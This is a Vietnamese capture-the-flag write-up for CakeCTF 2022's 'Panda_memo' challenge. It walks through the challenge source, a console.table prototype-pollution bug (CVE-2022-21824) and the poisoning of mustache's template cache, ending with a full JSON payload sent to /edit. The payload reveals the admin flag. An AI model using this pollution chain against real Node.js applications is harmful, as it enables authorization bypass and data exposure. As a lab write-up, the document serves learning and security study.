# Writeup Panda_memo - CakeCTF 2022
###### tags: `Prototype Pollution`
Challage cung cấp cho ta một trang viết và thêm note, nhưng trước khi truy cập vào ta phải đăng nhập trước đã, có thể đăng nhập với ``username:guest`` và ``password:guest``


Ngoài ra ta cũng có source code:
```javascript
const fs = require('fs');
const path = require('path');
const express = require('express');
const auth = require('express-basic-auth');
const mustache = require('mustache');
const app = express();
const SECRET = process.env["SECRET"] || "ADMIN_SECRET";
const FLAG = process.env["FLAG"] || "FakeCTF{panda-sensei}";
const BASIC_USERNAME = process.env["BASIC_USERNAME"] || "guest";
const BASIC_PASSWORD = process.env["BASIC_PASSWORD"] || "guest";
app.engine('html', function (filePath, options, callback) {
fs.readFile(filePath, function (err, content) {
if (err) return callback(err);
let rendered = mustache.render(content.toString(), options);
return callback(null, rendered);
});
});
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');
app.use(express.json());
app.use(auth({
challenge: true,
unauthorizedResponse: () => {
return "Unauthorized";
},
authorizer: (username, password) => {
return auth.safeCompare(username, BASIC_USERNAME)
&& auth.safeCompare(password, BASIC_PASSWORD);
}
}));
const isAdmin = req => req.query.secret === SECRET;
const getAdminRole = req => {
/* Return array of admin roles (such as admin, developer).
More roles are to be added in the future. */
return isAdmin(req) ? ['admin'] : [];
}
let memo = {};
app.get('/', (req, res) => res.render('index'));
/** Create new memo */
app.post('/new', (req, res) => {
/* Create new memo */
if (!(req.ip in memo)) memo[req.ip] = [];
memo[req.ip].push("");
res.json({status: 'success'});
});
/** Delete memo */
app.post('/del', (req, res) => {
let index = req.body.index;
/* Delete memo */
if ((req.ip in memo) && (index in memo[req.ip])) {
memo[req.ip].splice(index, 1);
res.json({status: 'success', result: 'Successfully deleted'});
} else {
res.json({status: 'error', result: 'Memo not found'});
}
});
/** Get memo list */
app.get('/show', (req, res) => {
let ip = req.ip;
/* We don't need to call isAdmin here
because only admin can see console log. */
if (req.body.debug == true)
console.table(memo, req.body.inspect);
/* Admin can read anyone's memo for censorship */
if (getAdminRole(req)[0] !== undefined)
ip = req.body.ip;
/* Return memo */
if (ip in memo)
res.json({status: 'success', result: memo[ip]});
else
res.json({status: 'error', result: 'Memo not found'});
});
/** Edit memo */
app.post('/edit', (req, res) => {
let ip = req.ip;
let index = req.body.index;
let new_memo = req.body.memo;
/* Admin can edit anyone's memo for censorship */
if (getAdminRole(req)[0] !== undefined)
ip = req.body.ip;
/* Update memo */
if (ip in memo) {
memo[ip][index] = new_memo;
res.json({status: 'success', result: 'Successfully updated'});
} else {
res.json({status: 'error', result: 'Memo not found'});
}
});
/** Admin panel */
app.get('/admin', (req, res) => {
res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});
app.listen(3000, () => {
console.log("Server is up!");
});
```
Dễ thấy mục đích của ta là set ``isAdmin`` thành true đẻ lấy flag khi truy cập ``/admin``
```javascript
app.get('/admin', (req, res) => {
res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});
```
Tại endpoint ``/show`` ta thấy 1 điểm đáng nghi:
```javascript
if (req.body.debug == true)
console.table(memo, req.body.inspect);
```
Tại endpoint ``/edit`` ta cũng thấy 1 điểm đáng nghi:
```javascript
/* Admin can edit anyone's memo for censorship */
if (getAdminRole(req)[0] !== undefined)
ip = req.body.ip;
/* Update memo */
if (ip in memo) {
memo[ip][index] = new_memo;
res.json({status: 'success', result: 'Successfully updated'});
} else {
res.json({status: 'error', result: 'Memo not found'});
}
```
Ta thấy hàm ``console.table`` được sử dụng để in ra console nộ dung của ``req.body.inspect`` dưới dạng table. Sau khi research về hàm này. mình phát hiện nó dính một CVE cho phép ta có thể thực thi prototype polution (https://nvd.nist.gov/vuln/detail/CVE-2022-21824)
Cụ thể là do việc ``console.table`` có logic format bị đần, khi ta truyền vào param đầu là 1 object có ít nhất 1 property, và param thứ 2 là một property nào đó. Thì số lượng key của object có chứa property ở param thứ 2 sẽ được gán chuỗi rỗng tương ứng với số lượng property của object tại param 2
Ví dụ:
```javascript
console.table({foo: 'bar'}, ['__proto__'])
Object.prototype[0] === '' => True
```
Ở ví dụ trên vì object ở param 1 có 1 property, nên key đầu tiên của ``Object.prototype`` sẽ được gán chuỗi rỗng từ đó sẽ khác undefine
Lợi dụng hành vi trên ta có thể prototype pollution tại ``/show`` khiến cho ``Object.prototype[0] !== undefine`` từ đó tại ``edit`` ta có thể tùy ý thay đổi giá trị của biến ``ip`` từ đó có thể pollution được bất kỳ Object nào
Tuy nhiên ta không thể pollute được ``isAdmin`` vì nó cần SECRET key
Vậy thì còn điểm nào trong chương trình mà ta có thể lợi dụng?
Nhìn vào thư viện mà chall sử dụng ta thấy có ``mustache.js`` và trong đó có đoạn code như sau:
```javascript
/**
* Parses and caches the given `template` according to the given `tags` or
* `mustache.tags` if `tags` is omitted, and returns the array of tokens
* that is generated from the parse.
*/
Writer.prototype.parse = function parse (template, tags) {
var cache = this.templateCache;
var cacheKey = template + ':' + (tags || mustache.tags).join(':');
var isCacheEnabled = typeof cache !== 'undefined';
var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;
if (tokens == undefined) {
tokens = parseTemplate(template, tags);
isCacheEnabled && cache.set(cacheKey, tokens);
}
return tokens;
};
...
function Writer () {
this.templateCache = {
_cache: {},
set: function set (key, value) {
this._cache[key] = value;
},
get: function get (key) {
return this._cache[key];
},
clear: function clear () {
this._cache = {};
}
};
}
```
Đoạn code trên sẽ parse và cache template được cung cấp, sau đó trả về template đã render qua biến ``tokens``
Để ý thấy tại dòng này:
```javascript
var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;
```
Ta hoàn toàn có thể kiếm soát được ``tokens`` trả về thông qua method get, và method get này sẽ bị polluted thông qua ``cacheKey`` ta truyền vào. Hay nói dễ hiểu hơn, ta sẽ pollute vào cache ghi đè value của template ``/admin`` sao cho dù ``isAdmin`` là false thì vẫn đọc flag được
Để làm được trước tiên ta cần biết format của ``cacheKey`` và ``token``, debug tại chính source thư viện để get được format hiện tại của 2 giá trị trên:

Ta truy cập ``/admin`` để nó ghi cache và console.log ra format cache value và cache key:

Có được format của key và value bây giờ ta chỉ cần polluted nó vào cache, tuy nhiên để ``isAdmin`` là false vần hiển thị flag ta sẽ thay ``#`` thành ``^``, giải thích đơn giản là trong template này ``#`` tương tự như ``==`` còn ``^`` tương tự như ``!=``
Payload:
```javascript
{
"ip":"__proto__","index":"<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n {{#is_admin}}\n FLAG: <code>{{flag}}</code>\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n </p>\n </article>\n </main>\n </body>\n</html>\n:{{:}}","memo":"[["text","<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n",0,464],["^","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text"," <mark>Access Denied</mark>\n",614,661]],681],["text"," </p>\n </article>\n </main>\n </body>\n</html>\n",695,775]]"
}
```
Gửi payload tại endpoint ``/edit`` và truy cập ``/admin`` để lấy flag thôi

